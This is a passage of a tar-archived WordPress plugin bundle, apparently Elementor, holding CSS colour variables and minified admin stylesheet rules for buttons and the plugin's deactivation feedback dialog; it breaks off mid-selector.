--e-a-btn-color: #0C0D0E; --e-a-btn-color-invert: var(--e-a-color-txt-invert); --e-a-btn-color-disabled: var(--e-a-color-txt-disabled); --e-a-btn-bg: #515962; --e-a-btn-bg-hover: #3a4046; --e-a-btn-bg-active: #23262a; --e-a-btn-bg-disabled: #D5D8DC; --e-a-btn-bg-primary: #F3BAFD; --e-a-btn-bg-primary-hover: #F5D0FE; --e-a-btn-bg-primary-active:#F0ABFC; --e-a-btn-bg-accent: #93003f; --e-a-btn-bg-accent-hover: #8F1A4C; --e-a-btn-bg-accent-active: #A93365; --e-a-btn-bg-info: #2563EB; --e-a-btn-bg-info-hover: #134cca; --e-a-btn-bg-info-active: #0e3b9c; --e-a-btn-bg-success: #0A875A; --e-a-btn-bg-success-hover: #06583a; --e-a-btn-bg-success-active:#03281b; --e-a-btn-bg-warning: #F59E0B; --e-a-btn-bg-warning-hover: #c57f08; --e-a-btn-bg-warning-active:#945f06; --e-a-btn-bg-danger: #DC2626; --e-a-btn-bg-danger-hover: #b21d1d; --e-a-btn-bg-danger-active: #861616; --e-a-dark-bg: #0C0D0E; --e-a-dark-color-txt: #9DA5AE; --e-a-dark-color-txt-hover: #D5D8DC; --e-a-font-family: Roboto, Arial, Helvetica, sans-serif; --e-a-transition-hover: all .3s; --e-a-popover-shadow: 0 2px 15px rgba(0, 0, 0, 0.3); --e-a-dropdown-shadow: 0 0 3px rgba(0, 0, 0, 0.2); } /*# sourceMappingURL=theme-light.css.map */assets/css/admin.min.css000064400000400617147206604650011244 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ #elementor-deactivate-feedback-modal .dialog-skip,#elementor-deactivate-feedback-modal .dialog-submit,.e-btn,.elementor-button{font-size:12px;font-weight:500;line-height:1.2;padding:8px 16px;outline:none;border:none;border-radius:var(--e-a-border-radius);background-color:var(--e-a-btn-bg);color:var(--e-a-btn-color-invert);transition:var(--e-a-transition-hover)}#elementor-deactivate-feedback-modal .dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-submit:hover,.e-btn:hover,.elementor-button:hover{border:none}#elementor-deactivate-feedback-modal .dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-submit:hover,.e-btn:focus,.e-btn:hover,.elementor-button:focus,.elementor-button:hover{background-color:var(--e-a-btn-bg-hover);color:var(--e-a-btn-color-invert)}#elementor-deactivate-feedback-modal .dialog-skip:active,#elementor-deactivate-feedback-modal .dialog-submit:active,.e-btn:active,.elementor-button:active{background-color:var(--e-a-btn-bg-active)}#elementor-deactivate-feedback-modal .dialog-skip:not([disabled]),#elementor-deactivate-feedback-modal .dialog-submit:not([disabled]),.e-btn:not([disabled]),.elementor-button:not([disabled]){cursor:pointer}#elementor-deactivate-feedback-modal .dialog-skip:disabled,#elementor-deactivate-feedback-modal .dialog-submit:disabled,.e-btn:disabled,.elementor-button:disabled{background-color:var(--e-a-btn-bg-disabled);color:var(--e-a-btn-color-disabled)}#elementor-deactivate-feedback-modal .dialog-skip:not(.elementor-button-state) .elementor-state-icon,#elementor-deactivate-feedback-modal .dialog-submit:not(.elementor-button-state) .elementor-state-icon,.e-btn:not(.elementor-button-state) .elementor-state-icon,.elementor-button:not(.elementor-button-state) .elementor-state-icon{display:none}#elementor-deactivate-feedback-modal .dialog-skip,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit,#elementor-deactivate-feedback-modal .e-btn-txt.dialog-submit,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel,.e-btn.e-btn-txt,.elementor-button.e-btn-txt{background:transparent;color:var(--e-a-color-txt)}#elementor-deactivate-feedback-modal .dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:hover,#elementor-deactivate-feedback-modal .e-btn-txt.dialog-submit:focus,#elementor-deactivate-feedback-modal .e-btn-txt.dialog-submit:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:hover,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:hover,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:hover,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:hover,.e-btn.e-btn-txt:focus,.e-btn.e-btn-txt:hover,.elementor-button.e-btn-txt:focus,.elementor-button.e-btn-txt:hover{background:var(--e-a-bg-hover);color:var(--e-a-color-txt-hover)}#elementor-deactivate-feedback-modal .dialog-skip:disabled,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:disabled,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:disabled,#elementor-deactivate-feedback-modal .e-btn-txt.dialog-submit:disabled,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:disabled,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:disabled,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:disabled,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:disabled,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:disabled,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:disabled,.e-btn.e-btn-txt:disabled,.elementor-button.e-btn-txt:disabled{background:transparent;color:var(--e-a-color-txt-disabled)}#elementor-deactivate-feedback-modal .e-btn-txt-border.dialog-skip,#elementor-deactivate-feedback-modal .e-btn-txt-border.dialog-submit,.e-btn.e-btn-txt-border,.elementor-button.e-btn-txt-border{border:1px solid var(--e-a-color-txt-muted)}#elementor-deactivate-feedback-modal .e-success.dialog-skip,#elementor-deactivate-feedback-modal .e-success.dialog-submit,#elementor-deactivate-feedback-modal .elementor-button-success.dialog-skip,#elementor-deactivate-feedback-modal .elementor-button-success.dialog-submit,.e-btn.e-success,.e-btn.elementor-button-success,.elementor-button.e-success,.elementor-button.elementor-button-success{background-color:var(--e-a-btn-bg-success)}#elementor-deactivate-feedback-modal .e-success.dialog-skip:focus,#elementor-deactivate-feedback-modal .e-success.dialog-skip:hover,#elementor-deactivate-feedback-modal .e-success.dialog-submit:focus,#elementor-deactivate-feedback-modal .e-success.dialog-submit:hover,#elementor-deactivate-feedback-modal .elementor-button-success.dialog-skip:focus,#elementor-deactivate-feedback-modal .elementor-button-success.dialog-skip:hover,#elementor-deactivate-feedback-modal .elementor-button-success.dialog-submit:focus,#elementor-deactivate-feedback-modal .elementor-button-success.dialog-submit:hover,.e-btn.e-success:focus,.e-btn.e-success:hover,.e-btn.elementor-button-success:focus,.e-btn.elementor-button-success:hover,.elementor-button.e-success:focus,.elementor-button.e-success:hover,.elementor-button.elementor-button-success:focus,.elementor-button.elementor-button-success:hover{background-color:var(--e-a-btn-bg-success-hover)}#elementor-deactivate-feedback-modal .dialog-submit,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip,#elementor-deactivate-feedback-modal .e-primary.dialog-skip,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over,.e-btn.e-primary,.elementor-button.e-primary{background-color:var(--e-a-btn-bg-primary);color:var(--e-a-btn-color)}#elementor-deactivate-feedback-modal .dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:hover,#elementor-deactivate-feedback-modal .e-primary.dialog-skip:focus,#elementor-deactivate-feedback-modal .e-primary.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok:focus,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok:hover,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over:focus,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over:hover,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok:focus,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok:hover,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over:focus,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok:focus,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok:hover,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over:focus,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over:hover,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok:focus,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok:hover,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over:focus,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over:hover,.e-btn.e-primary:focus,.e-btn.e-primary:hover,.elementor-button.e-primary:focus,.elementor-button.e-primary:hover{background-color:var(--e-a-btn-bg-primary-hover);color:var(--e-a-btn-color)}#elementor-deactivate-feedback-modal .dialog-submit.dialog-skip,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip,#elementor-deactivate-feedback-modal .e-btn-txt.dialog-submit,#elementor-deactivate-feedback-modal .e-primary.dialog-skip,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel.dialog-take_over,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel,.dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok,.dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over,.dialog-type-alert .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel.dialog-take_over,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-ok,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel.dialog-take_over,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel.dialog-take_over,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-ok,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel,.e-btn.e-primary.e-btn-txt,.elementor-button.e-primary.e-btn-txt{background:transparent;color:var(--e-a-color-primary-bold)}#elementor-deactivate-feedback-modal .dialog-submit.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-submit.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-submit.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-submit.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-submit.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-submit.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-ok.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-ok.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-ok.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-ok.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-take_over.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-take_over.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-take_over.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-take_over.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-primary.dialog-button.dialog-cancel.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-primary.dialog-button.dialog-cancel.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-primary.dialog-button.dialog-cancel.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-primary.dialog-button.dialog-cancel.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-submit.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-submit.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-submit.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-submit.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-ok.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-ok.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-ok.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-ok.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-take_over.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-take_over.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-take_over.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-take_over.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-primary.dialog-button.dialog-cancel.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-primary.dialog-button.dialog-cancel.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper 